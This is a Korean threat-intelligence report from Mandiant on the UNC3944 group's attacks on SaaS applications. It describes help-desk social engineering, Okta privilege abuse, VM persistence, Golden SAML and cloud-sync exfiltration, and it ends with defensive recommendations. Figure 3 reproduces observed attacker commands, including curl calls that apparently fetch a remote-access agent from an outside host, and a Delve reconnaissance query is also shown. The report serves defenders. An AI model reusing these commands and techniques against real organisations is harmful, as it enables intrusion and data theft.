콘텐츠로 이동하기
위협 인텔리전스

UNC3944, SaaS 애플리케이션을 노리는 위협 그룹

2024년 6월 17일
Mandiant

사이버 보안 전문가 상담

글로벌 수준의 위협 인텔리전스와 클라우드 보안 전문가가 귀사의 비즈니스에 최적화된 보안 전략을 제안해 드립니다.

전문가에게 문의하기

* 본 아티클의 원문은 2024년 7월 9일 Google Cloud 블로그(영문)에 게재되었습니다.


소개

UNC3944는 금전적 이득을 목표로 하는 위협 그룹으로, "0ktapus", "Octo Tempest", "Scatter Swine", "Scattered Spider" 등 다양한 이름으로 알려진 그룹과 상당 부분 겹치는 활동을 보입니다. 이들은 서비스형 소프트웨어(SaaS) 애플리케이션에서 데이터를 탈취하여 공격자가 소유한 클라우드 저장소 객체로 이동시키는 전술(클라우드 동기화 도구 사용), 가상화 플랫폼에 대한 지속성 메커니즘, SaaS 권한 남용을 통한 측면 이동 등의 전술을 포함하도록 공격 방식을 적응시켜 왔습니다. 최소 2022년 5월부터 활동해 온 UNC3944는 텔레그램과 같은 지하 커뮤니티를 활용하여 운영을 강화하기 위한 도구, 서비스 및 지원을 획득해 왔습니다.

초기에는 UNC3944가 주로 자격 증명 수집 및 SIM 스와핑 공격에 집중했지만, 랜섬웨어 및 데이터 절취 갈취로 전환했습니다. 그러나 최근에는 랜섬웨어를 사용하지 않고 주로 데이터 절취 갈취에 집중하고 있습니다. Mandiant의 조사에 따르면 이러한 목표 변화는 UNC3944의 공격 대상 산업 및 조직 확대로 이어졌습니다.

또한 UNC3944는 피해자의 자격 증명을 얻기 위해 때때로 협박 전술을 사용하는 것으로 보입니다. 이러한 전술에는 개인 정보 유출, 피해자 및 가족에 대한 신체적 위해, 불리한 자료 유포 등이 포함됩니다.

본 블로그 게시물은 지난 10개월 동안 관찰된 UNC3944의 SaaS 애플리케이션 공격에 초점을 맞춰, 변화하는 목표에 맞춰 진화하는 이 그룹의 TTP에 대한 통찰력을 제공하고자 합니다.

전술, 기술, 및 절차 (TTPs)

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3944-saas-fig1.max-1500x1500.png

그림 1: UNC3944 공격 라이프스타일

Mandiant는 UNC3944가 기존 권한 계정에 대한 초기 접근을 얻기 위해 기업 헬프 데스크를 대상으로 소셜 엔지니어링 기법을 활용하는 여러 사례를 관찰했습니다. Mandiant는 이러한 콜센터 공격에 대한 여러 법의학 기록을 분석했으며, 관찰된 기록에서 위협 행위자들은 명확한 영어를 구사하고 높은 권한 잠재력을 가진 계정을 목표로 삼았음을 확인했습니다. 또한 헬프 데스크 관리자의 사용자 신원 확인을 우회하기 위해 피해자의 개인 식별 정보(PII)를 이미 소지하고 있었음을 확인했습니다. Mandiant는 사회 보장 번호 마지막 4자리, 생년월일, 관리자 이름 및 직책과 관련된 동료 등의 확인 정보가 사용되는 것을 관찰했습니다. 이러한 소셜 엔지니어링 공격의 정교함은 잠재적 피해자에 대한 광범위한 조사와 높은 공격 성공률에서 모두 분명하게 드러납니다.

UNC3944 운영자들은 다양한 피해자를 대상으로 일관된 소셜 엔지니어링 전술을 사용했으며, 종종 서비스 데스크에 전화하여 새 전화를 받고 있으므로 다단계 인증(MFA) 재설정이 필요하다고 주장했습니다. 서비스 데스크 관리자와 상호 작용함으로써 UNC3944는 권한 계정의 비밀번호를 재설정할 수 있을 뿐만 아니라 관련된 MFA 보호 기능도 우회할 수 있었습니다. 소셜 엔지니어링 기법은 콜센터를 넘어 광범위한 SMS 피싱 캠페인으로도 확장되었습니다.

UNC3944는 피해자 환경에 대한 초기 접근 권한을 얻은 후, 원격 연결 요구 사항을 파악하기 위해 SharePoint와 같은 Microsoft 애플리케이션에 대한 내부 정찰을 수행했습니다. UNC3944는 피해자의 SharePoint 사이트에서 사용할 수 있는 VPN(가상 사설망), VDI(가상 데스크톱 인프라) 및 원격 재택 근무 유틸리티에 대한 내부 도움말 가이드 및 문서를 자주 목표로 삼았습니다. UNC3944는 손상된 환경에 원격으로 액세스하기 위해 기존의 합법적인 타사 도구를 악용했습니다.

UNC3944는 또한 손상된 계정을 Okta 인스턴스의 모든 애플리케이션에 자체 할당하여 Okta 권한 남용 기법을 활용하여 온프레미스 인프라를 넘어 클라우드 및 SaaS 애플리케이션으로 침투 범위를 확장했습니다. 이러한 권한 상승을 통해 위협 행위자는 Okta를 SSO(Single Sign-On)에 활용하는 애플리케이션을 악용할 수 있을 뿐만 아니라, 역할 할당 후 사용 가능한 애플리케이션 타일을 시각적으로 관찰하여 Okta 웹 포털을 통해 내부 정찰을 수행할 수 있었습니다.

가상 머신 침해

이러한 침입의 한 가지 측면은 새로운 가상 머신 생성을 통한 보다 적극적인 지속성 확보 방법을 포함합니다. 여러 사례에서 Mandiant는 UNC3944가 SSO 애플리케이션을 사용하여 vSphere 및 Azure에 액세스하고, 이후 모든 활동을 수행하는 새로운 가상 머신을 생성하는 것을 관찰했습니다. 여기서 중요한 점은 SSO 애플리케이션을 통해 연결된 관리자 그룹 또는 일반 관리자 권한을 악용하여 이러한 지속성 방법을 생성한다는 점입니다.

Mandiant는 새로 생성된 가상 머신에서 개인 정보 보호에 위배되는 것으로 간주되는 다양한 정책을 비활성화하기 위해 MAS_AIO 및 privacy-script.bat와 같은 공개적으로 사용 가능한 유틸리티를 사용하는 것을 관찰했습니다. 일반적으로 기본 Microsoft Defender 보호 기능과 법의학 조사에 도움이 되는 특정 Windows 원격 분석 기능을 제거하는 작업이 포함되었습니다. 또한 엔드포인트 모니터링 부족으로 인해 UNC3944는 Mimikatz, ADRecon 및 NGROK, RSOCX, Localtonet와 같은 다양한 은밀한 터널링 도구를 다운로드할 수 있었습니다. 이러한 도구를 사용하여 UNC3944는 VPN이나 MFA를 사용하지 않고도 장치에 액세스할 수 있었습니다. 다른 도구로는 IMPACKET과 같은 Python 라이브러리 설치가 포함되었습니다.

이 장치에서의 추가 활동을 추적하는 것은 클라우드 조사로 전환할 때 힘든 작업입니다. 클라우드 설정의 특성상, 모든 추가 클라우드 접근은 손상된 환경 내부에서 발생하기 때문에, 평판이 좋지 않은 IP 주소와 같은 일반적인 침해 지표는 정상 활동과 위협 행위자 활동을 효과적으로 구별하지 못합니다. 그럼에도 불구하고 Mandiant는 기존의 브라우저 아티팩트 포렌식이 애플리케이션 접근 추적에 여전히 유용하다는 것을 확인했습니다.

인증 제어를 우회하기 위해 Mandiant는 PCUnlocker라는 광 디스크 이미지 파일(ISO)의 사용을 관찰했습니다. 이 ISO를 vCenter 어플라이언스를 통해 기존 가상 머신에 연결하여 UNC3944는 로컬 관리자 암호를 재설정하고 일반적인 도메인 제어를 우회할 수 있었습니다. 이 ISO는 도메인 제어를 효과적으로 무력화하기 위해 재부팅하고 BIOS 설정을 변경하여 마운트 가능한 이미지로 부팅해야 합니다. 가상 머신 가동 시간 또는 짧은 영향에 대한 모니터링을 통해 잠재적인 탐지 기회를 얻을 수 있습니다.

또한, 과거 조사에서 Mandiant는 UNC3944가 환경 내에서 파괴적인 작업을 수행하기 위해 ESXI 하이퍼바이저 자체의 가상 머신 파일 시스템에 대해 ALPHV 랜섬웨어를 배포하는 것을 관찰했습니다. 이러한 활동의 부산물로 공격자가 배포한 가상 머신은 일반적으로 암호화되고 네트워크 내 활동 증거가 파괴되었습니다. 2024년 초 이후 Mandiant는 이 위협 그룹이 랜섬웨어를 배포하는 것을 관찰하지 못했지만, 증거를 파괴하거나 제거할 수 있는 능력은 여전히 보유하고 있습니다.

포렌식 방해 조치에도 불구하고, 피해자 환경에서 관찰된 활동은 주로 주요 인프라 및 데이터베이스, 웹 콘텐츠와 같은 잠재적인 유출 대상을 찾는 데 목표를 두고 있었습니다. 일단 위치가 파악되면 이러한 가상 머신을 통해 Google Cloud Platform(GCP) 및 Amazon Web Services(AWS)와 같은 다양한 평판이 좋은 리소스로 데이터 유출이 발생했습니다.

SaaS 애플리케이션 표적

전통적인 온프레미스 활동 외에도 Mandiant는 클라이언트 SaaS 애플리케이션으로의 움직임을 관찰했습니다. UNC3944는 싱글 사인온 제공업체에 의해 보호되는 SaaS 애플리케이션에 액세스하기 위해 도난당한 자격 증명을 사용했습니다. Mandiant는 vCenter, CyberArk, SalesForce, Azure, CrowdStrike, AWS 및 GCP와 같은 애플리케이션에 대한 무단 액세스를 관찰했습니다. 그림 2는 2023년 이 활동과 관련된 단일 Okta SSO 로그 항목의 발췌본을 제공합니다.

{
    "timestamp": "[redacted],
    "user": "[redacted]",
    "account": "redacted<>@corp.<redacted_domain>.com",
    "source_ip": "96.242.13.152",
    "service": "Crowdstrike Falcon",
    "sso_provider": "OKTA",
    "geoip_city": "[redacted]",
    "geoip_country_code": "US",
    "geoip_country_name": "United States",
    "geoip_organization": "Verizon Fios",
    "geoip_region": "NJ",
    "source_json":
...
        "client":
        {
            "userAgent":
            {
                "rawUserAgent": "Mozilla/5.0 (Windows NT 10.0; 
Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0",
                "os": "Windows 10",
                "browser": "FIREFOX"
            },
            "zone": "null",
            "device": "Computer",
            "id": null,
            "ipAddress": "96.242.13.152",
          ...,
        "displayMessage": "User single sign on to app",
        "eventType": "user.authentication.sso",
        "outcome":
        {
            "result": "SUCCESS",
            "reason": null
        },
        "published": "[redacted]",
      ...
        "severity": "INFO",
        "debugContext":
        {
            "debugData":
            {
                "audience": "https://falcon.us-2.crowdstrike.com/saml/
metadata",
                "subject": "<redacted_username>@<redacted_domain>.com",
                "signOnMode": "SAML 2.0",
                "authenticationClassRef": "urn:oasis:names:tc:SAML:2.0:
ac:classes:PasswordProtectedTransport",
                "authTime": "[redacted]",
                "requestUri": "/app/<redacted_domain>_crowdstrikefalcon_1/
[redacted]/sso/saml",
                "issuer": "http://www.okta.com/[redacted]",
                "url": "/app/<redacted_domain>_crowdstrikefalcon_1//sso/
saml?",
                "initiationType": "IDP_INITIATED",
                "authnRequestId": "[redacted]",
                "requestId": "[redacted]",
                "dtHash": "2f91954af8b8c55fa21b2de175ef84173abf820a7da3
ef1a1b0abac9cce777dc",
                "expiryTime": "[redacted]",
                "issuedAt": "[redacted]",
                "jti": "[redacted]"
...

그림 2: Okta 2023년 발생한 이벤트의 SSO 로그 발췌본

Mandiant는 엔드포인트 탐지 및 대응 도구를 사용하여 환경에 대한 접근 권한을 추가로 테스트하는 것을 관찰했습니다. 한 가지 예로, CrowdStrike의 외부 콘솔 내에서 API 키를 생성하여 위협 행위자가 Real Time Response(RTR) 모듈 내에서 whoami 및 quser와 같은 명령을 실행할 수 있도록 했습니다. 그림 3에는 피해 환경의 CrowdStrike Falcon Real-Time-Response(RTR) 모듈에서 실행된 UNC3944 명령과 관련된 여러 이벤트가 포함되어 있습니다. CrowdStrike에 따르면 RTR은 사용자 및 관리자에 대해 기본적으로 비활성화되어 있습니다. CrowdStrike는 RTR 명령에 대한 추가 보호를 위해 MFA를 활성화할 것을 권장합니다.

runscript -raw=```whoami``` -Timeout=```3600```runscript -raw=
```curl icanhazip.com``` -Timeout=```3600```
runscript -raw=```curl wtfismyip.org``` -Timeout=```3600```
runscript -raw=```curl wtfismyip.com``` -Timeout=```3600```
runscript -raw=```curl google.com``` -Timeout=```3600```
runscript -raw=```curl google.com``` -Timeout=```3600```
runscript -raw=```curl google.com -usebasicparsing``` -Timeout=```3600```
runscript -raw=```curl icanhazip.com -usebasicparsing``` -Timeout=```3600```
runscript -raw=```curl icanhazip.com -usebasicparsing``` -Timeout=```3600```
runscript -raw=```curl https://agent.fleetdeck.io/HiZGDaf5T3xTLZdBWUsG2Q?win

그림 3: CrowdStrike Falcon RTR 모듈을 통해 실행된 명령

UNC3944는 Azure, CyberArk, Salesforce 및 Workday에 지속적으로 접근하며 각 애플리케이션 내에서 추가 정찰을 수행했습니다.

특히 CyberArk의 경우, Mandiant는 조직의 CyberArk 인스턴스와 프로그래밍 방식으로 상호 작용하기 위해 PowerShell 모듈 psPAS를 다운로드하여 사용하는 것을 관찰했습니다. 이 유틸리티를 통해 CyberArk Vault를 더 빠르게 열거할 수 있으며, 강력한 PowerShell 로깅 없이는 CyberArk 인스턴스에 대해 어떤 명령이 실행되었는지 확인하기 어렵기 때문에 추가 조사를 더욱 어렵게 만듭니다.

충분한 정찰 후 Mandiant는 Airbyte 및 Fivetran과 같은 클라우드 동기화 유틸리티를 통해 클라우드 기반 데이터 소스에서 S3 버킷과 같은 외부 공격자 소유 클라우드 저장소 리소스로 데이터를 이동하는 SaaS 애플리케이션의 유출을 관찰했습니다. 이러한 애플리케이션은 데이터를 외부 소스에 자동으로 동기화하기 위해 자격 증명과 리소스 경로만 필요했으며, 종종 구독이나 비싼 비용이 필요하지 않았습니다. 그림 4에는 Mandiant가 UNC3944 피해자로부터 성공적으로 획득한 Airbyte 로그의 발췌문이 포함되어 있습니다.
[redacted] destination > INFO a.m.s.StreamTransferManager
(uploadStreamPart):558 [Manager uploading to prodbucket11
/salesforce/Account/[redacted].csv with id XXdIBNCrR...uvUswAXY-]: 
Finished uploading [Part number 18 containing 10.01 MB]

[redacted] destination > INFO a.m.s.StreamTransferManager(complete):
395 [Manager uploading to prodbucket11/salesforce/Account
/[redacted].csv with id XXdIBNCrR...uvUswAXY-]: Completed
2023-10-09 15:42:01 destination > INFO i.a.i.d.s.S3StorageOperations
(loadDataIntoBucket):214 Uploaded buffer file to storage: [redacted].csv 
-> salesforce/Account/[redacted].csv (filename: [redacted].csv)

[redacted] destination > INFO i.a.i.d.s.S3StorageOperations
(uploadRecordsToBucket):131 Successfully loaded records to 
stage salesforce/Account/2023_10_09_1696844737410_ with 0 re-attempt(s)
2023-10-09 15:42:01 destination > INFO i.a.i.d.r.FileBuffer(deleteFile):
109 Deleting tempFile data [redacted].csv

[redacted] destination > INFO i.a.i.d.r.SerializedBufferingStrategy
(flushSingleBuffer):128 Flushing completed for Account

[redacted] destination > INFO i.a.i.d.r.SerializedBufferingStrategy
(lambda$getOrCreateBuffer$0):109 Starting a new buffer for 
stream Account (current state: -14332 bytes in 0 buffers)

[redacted] replication-orchestrator > Records read: 3635000 (18 GB)

그림 4: 데이터 절취 활동과 관련된 Airbyte 로그 발췌

ADFS 표적

Mandiant는 UNC3944가 ADFS(Active Directory Federated Services)를 사용할 때 ADFS 인증서를 내보내기 위해 특별히 ADFS를 대상으로 하는 것을 관찰했습니다. 이러한 인증서와 Golden SAML 공격을 통해 클라우드 기반 애플리케이션에 더 쉽고 지속적으로 액세스할 수 있습니다. ADFS의 이벤트와 서비스 공급자 로그인 로그를 상호 연관시키면 위조된 SAML 토큰을 탐지하는 데 도움이 될 수 있습니다.

SaaS 애플리케이션 접근의 위험성

이러한 현재의 공격 경로는 민감한 데이터 저장의 기존 위험 외에도 SaaS 호스팅 애플리케이션에 데이터를 저장하는 위험을 강조합니다. 이러한 위험은 기존 SaaS 모델이 일부 위험을 애플리케이션 소유자에게 넘기기 때문에 내부 보안의 일환으로 간과되는 경우가 많습니다. Mandiant는 초기 데이터 정찰 과정에서 손상된 계정이 액세스할 수 있는 데이터 소스를 강조하기 위해 설계된 M365 테넌트 내에서 Microsoft Office Delve를 포함한 고급 M365 기능을 사용하는 것을 관찰했습니다. Delve를 사용하면 그룹 구성원 자격을 기반으로 하든 사용자와 직접 공유되었든 상관없이 사용자가 액세스 권한이 있는 파일에 빠르게 액세스할 수 있습니다. 이러한 개인화된 콘텐츠 추천에는 파일, 이메일, 문서 및 대화와 같은 M365 내의 다양한 소스에서 집계된 정보가 포함됩니다. Delve는 조직 내 주요 구성원 및 사용자의 직접 관리 체인을 포함하여 조직 관계를 매핑하고 조직의 각 구성원과 관련된 최근 문서를 볼 수 있도록 합니다.

"SearchQueryText: and(and(SharedWithUsersOwsUser:|<COMPROMISED.USER>
@, ContentType:Document), and(not(HideFromDelve:"1"), not(OnHold:"1"), 
not(Path:"tag://public/?NAME=*"),
not(Title:or(OneNote_DeletedPages, OneNote_RecycleBin)), not
(SecondaryFileExtension:onetoc2),
not(IsOneNotePage:"1"), not(IsInRecycleBin:"1"), not(ContentType:Folder), 
not(FileExtension:url),
not(ContentClass:or(STS_ListItem_Categories*, STS_ListItem_852*, 
STS_List_DocumentLibrary*,
STS_ListItem_GenericList*, STS_ListItem_544*, STS_ListItem_Tasks*, 
STS_Document*, STS_Site*)),
not(ContentClass:"urn:content-class:SPSPeople*")))”

그림 5: M365 Delve 쿼리 예시

Mandiant는 이러한 리소스가 일반적으로 보안 모니터링 도구에서 제외되며 사용자 활동 전체를 기록할 만큼 충분한 로깅이 이루어지지 않는다는 것을 관찰했습니다. Salesforce와 같은 SaaS 애플리케이션은 사용자가 보유한 라이선스 유형에 따라 로깅 상세 정도를 구성하지 않지만, 로깅 세분성은 디버깅 로그, 감사 추적 및 추가 기능 "Salesforce Shield" 활성화 여부에 따라 영향을 받습니다.

네트워킹 구성 때문에 방화벽 및 네트워크 흐름 센서와 같은 기존 온프레미스 보안 제어는 SaaS 플랫폼에서 대량의 아웃바운드 데이터 전송을 탐지하는 데 효과적이지 않습니다. 이러한 추상화로 인해 방화벽 및 netflow 로그와 같은 기존 증거 소스를 사용하여 데이터 도난을 식별하기가 어렵습니다. SaaS 및 클라우드 로그에 대한 과거 분석을 통해 데이터 도난을 밝혀낼 수 있지만, 이러한 활동을 실시간으로 탐지하는 것은 여전히 어려운 과제입니다.

권고 사항

대상 환경에서 지속성 또는 액세스 증가를 완화하기 위해 여러 가지 조치를 취할 수 있습니다. Mandiant는 VPN 액세스에 호스트 기반 인증서와 다단계 인증을 함께 사용할 것을 권장합니다. 또한 클라우드 테넌트 내에서 표시되는 항목을 제어하는 더 엄격한 조건부 액세스 정책을 생성하면 전반적인 영향을 제한할 수 있습니다.

잠재적인 손상을 보다 신속하게 식별하는 데 도움이 되는 여러 탐지 기회가 존재합니다. Mandiant는 SaaS 애플리케이션에 대한 모니터링 강화, 중요 SaaS 기반 애플리케이션의 로그 중앙 집중화, MFA 재등록 및 가상 머신 인프라, 특히 가동 시간 및 새 장치 생성에 대한 모니터링을 권장합니다.

SaaS 애플리케이션은 문제를 식별하기 위한 모니터링을 어디서 누가 수행해야 하는지에 대한 회색 영역이 존재하기 때문에 조직에게 흥미로운 딜레마를 제시합니다. 독점 또는 보호 정보가 존재하는 애플리케이션의 경우, Mandiant는 조직이 보안 팀이 악의적인 의도의 징후를 검토할 수 있는 강력한 로깅 기능을 갖추도록 권장합니다.

게시 위치